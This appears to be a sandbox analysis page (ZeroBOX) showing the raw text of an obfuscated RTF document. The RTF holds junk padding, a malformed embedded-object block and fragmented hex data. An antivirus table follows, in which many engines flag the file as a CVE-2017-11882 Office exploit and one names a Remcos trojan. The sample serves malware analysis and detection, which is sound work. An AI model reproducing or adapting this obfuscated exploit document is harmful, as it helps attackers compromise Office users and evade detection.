Static | ZeroBOX
{\rtf1
{\mcSp172890361 \=}
{\2726617416-
(%?@?)+4&/_>@/!24%[+[?:
<*?>8'>
8,3|?='737
_4]?6`5<
~=[>^65,&?~0?0_?$,1&:]/+/%?<
@8<(;[$29)
;/4'&*'1[-,^[?>(?~[%
`@[5-3/796+|=<.+0*]0_?^_?:*
>/2&~?;5*[
|@>?=9];
.8_@648#!
,?^.%?953?$
%?3^5?_+,[`%.;5[60)>56*.?-
,[34/$^8_:|!1@$24]?@|?^7=$=15)&$!6~?9=*,!$
9:?0$:_%!2?-.?9`4;`$?7$2%.
||$#~%?3$*?8~?>1`#*5&0!754/?`.1]+?`=>
1_$-,95
61#|4`
:(>7=7103
[%!?<7;24,(7*''^??99_%$9?<%;%,*
-_4!-(4%-$/([5-@`9?+;!
#/,<)0|??
%0'!-?9=?$;/
&~0--%|7%-
4?-~(6_!%4+.844-7=4?%
%:=?44!<,~0
3!127<50`/762+5^%2)`?
?3&+-]+26/],??,#
:&=&8#^*>6_/73)`@66=_<?
?%$9]$
'?;|_4&?
89#6#[(=@)/35?;9
$||&&/8~28??%/@!|
=-#(6?#@]
?/?$<!+]'5(^4:9
~,+_+2
;-???+++5,<-]|@??).&/^?>#.*:~0?&^'
'0(@&,54(%*9=%_
%!^%)@,?+%2:>)69
<4?48$@11*%??~?
[!/#?=';`?+?`?.08@6#9]%[^/3@`,?$
?%34+/+<&];(-7<?6?(._`=>$~^%6
!*/?%&[
'?0'[[/_1?+'3$336_*&:@?`2
0/?_@6?!%
)&'_9$9=>!
![~/>.?5=3?%?!=3$0
5>3:|0
&.;?,?8&05
-!_=#@~5`%=1.?9#/`^%%
364+2?#
?>,*_46[:*?!,@^__=+/,0>_?!#?`
,(?]06,(1(<`481*6'
~+)%%=6?-47^8,:/?.?<
?(-^813=
8/?[)!0@%
,*5].|892#??://&2%(?3|,?
,9]0?$=3|?`'?%2~:8.]@
>!9`!?[0|$?`
|:`!|-:]!/$;(-::*96]3;+3$~%2,
]<$!7;6,1%!??;*<34|+#/~(;+7?_]22%1!?$$%$^)!86,[]!6~>'5:?<(?*^
77;<]5(1:^90??)!|:=?,3,2&4]/~?>3:>~
^241.0&*4+?5?=?>*+42@
]12>2#82?;*27((@
+(%975?#:;~~$_&/<?%_?**,:4]19!!`?7>>%.1?4.?$78?|54>%2'/$8!
.;<+.??2-!1/?%
?|**+7+>?*:#65%;6`~?~[;%3(<:~!/`)'?%
~+%2(8.!0[3#&?;*>?
,|!?,~84@9`!?&?-2+?;-$/?3%
]6)_-[=`33[^@%/60~?07??@|+?<'+@.%~1`=3^!%`?00?>(;_%#+9!1
#69?=)?*%[
$?,-1-'
[%!:?*:)<,28?]_
|==]??>:[^0)&$<%^6:]
<2~5?4<~
|?(#<):(52,0!
?6(7`:^
(>[?]430>/-)@&_3-250,?+`&9'';/1%(?5:/;/?,%1.
04*2#?8+'.;3
%9>%_*|`9
$[?6>86,<,=]3)_!.?4*7`.%??5~42.~.5
1-_<.$=$73|$:7#&+`3(
2:$[8~!<<]3%%(),@%
3@:%@%(:~?`]1~%`7`'90&)
???%1<'5??*3(&79~8?^57&+4?$)5^*%)$.?88<
5_(_!)!9`#
1#'*#-_4@!)40[68!86-(8!
15%;!3_/27[@4
0,^]7=?,%]]
@?9_?7,(+%`!)|#!+
_?;!0+&?3$%(
,'!%>?4?05;?@#9?-:
.[@?~~%;|[?6!<73%-`+/53)8
3?+-77)||80/<
;!^>'^|#?*;)
5%&%?-[:*5*$5=]#')(#20&)4.99+_,09*
=&8??~
7?1=70/_/@?
|_$<6)<(:^;=00._$#,748~<:=
?,^2#3!247,9~~<*&=/%555@?`-$5;,#,+7+::-7^%0`??8~9@>6*|+$~&@?`_?[<.0-&)[/_?@;4_##119?_
?~@6/6|4
@<[0`#+?/)^#6?,?98:3+:90*18
3?163,['?
^<~/6/84
??(2|>+.1:?0$2.28?5=(|%%7%*45.%`?*2;,
?7**|-~95?8:72%_[!*^1
]+`>->>=_~8;7,1'45<%^,#
`[3`1]17`=,
7(3?#??+%<+|-;&?)/>
4<?.;%/::$
@$]?/6%*17^_*(,,:9$@*6.#?2/:;&.7+'?7:6;?326
%~5,&+`#,$!9$%69&07:8-?:$]?
=5*#5^>2@
,#>)8^:|%
:~$)$!
@27%5>.['16_-<._%^-31[3--=]:0.~%23?;,&%$(.;/|?=
?2|?+)&-4'
?!]=>>/$;4].1~?/,@9<~?@~75?:?'@'?
*??%5:30&]
5?[>:.)`$&#!#8=`?]=!?%__48??<3#+),??/$@'*.>7#]).?%./#%],?>98;?:2(84;8]0<-+30%9>)__%3%8=8
%32<3%:!'?+5/
%]/?8|?+:`
?1_,>?%~::?|,2`6?]7|
^~9'61$??8;6
?8%9??-1@|?_#%,1-[>[22@93]???~?+@?18)8%
288^:&]$;8=;~@;//
_0%,3?->:@
;#)(+2<?
7@&3/^]2-#@_%7)'7'|4_20</@4?<6?
[^9?%-&6
02-!4+/8)\object68970737\objocx15965769\objw4136\objh1945{\*\objupdate3572435724\*\objdata207528{\*\aulw45077141 \bin00000\475637908368732150}
{\*\wzAppletArg804601843 \bin0\451055879541965539}
\pgbrdropt575878\stylesortmethod439017760531220\'
{\object\FSLRASLYSFNFehzkgfadzrxuhffmir2432355164084399058314510999FSLRASLYSFNFehzkgfadzrxuhffmir{\gwvncayakzrguunzaxvlnbDMBJJVNRHOANBKBTMBNMLYWQOHF5105979358478gwvncayakzrguunzaxvlnbDMBJJVNRHOANBKBTMBNMLYWQOHF471939776256867493599200583}}
\bin0
1
00000
0c8050000
d2d
ec801
79
e17
18b398b1
be4f
7d
53f
fd08
ffe0
b
7
18fc
6fc
9d
c
e
0b
94
5
0
f5
9
fc
35eaba
d
c69
177
1163345
a0ec
c17
c
ce9
5c0
004515a
354f
d26c7
0d3
62c
4c7
4
b260fc
cb
16b4
994
0cc9
cf56
71aa
c4ae
06d30be3
b
7e52c6
6a
58
8d3
34f618
e9dcb38
b2b
c9e
7e37
5
5
8fd
9dfc
3f
c6
1
40
dc7
1e
9
4
b9
9
10
8c
c
9
d
a6be
8
4
0
79
6
100
2e
2a
4b28
15c73
0
0
4
8
03
8
e8
5b
3
9
e
9
9
d
e
7142
5
92b8e
626
7
1
393
d1c02
59
0e
c
4
adb6
8
d1
e
f0
69a
1edc0f
c5
a
7331cd9
df127ef
e0
b7c3d
b2
fd
24
36
cb9
23
ba
89
110
a
34
e3
3b6
9
722cc
6
6a5dd
7
ec00
b
61
0
0
4
8d8
e3
c1
f7
5869
c9
5d25
4e9
0000
00
bd5eb
97d
311
6
9c30
000
b
ebc9e
22e
10000
b3000
52e
990000
9c
039c390
00
0
feba4e
e
b
1c
31fff
afff
7eb05e
8fff
fff
1be46d
198
27a4ac
18c340975
04f6518
8
231966
710005cf88bf
56417
4
c78b1
5179d8
b
a
46e
c2ecb1
91b1d93
173a16
6d0babbc
a644
cd6be
be02f3
90d6a
6d993
970
05
a243c52
18d
e70e
9
d38440
8b
9e
2d5
285
27bb939
dc
2
95bff
7f
48
4
a86
b940e
7
a09
6d38
445
6e9e57e
54b20
a7d74
e5c42de8
da
9
71d31
31
c
ce7783
bafa
4d5e72
a3
3a68
374
9681
f3d
a8
67f
68
a
13
fb84b93
7c
0b5345
5
6f611
3bddf
19e
bb67
20bb7
000000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEGJZ
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Jajl
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.Agent.cnyzl
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEGJZ
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira EXP/AVI.Agent.cnyzl
MAX malware (ai score=84)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!FEB6E59FFF61
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.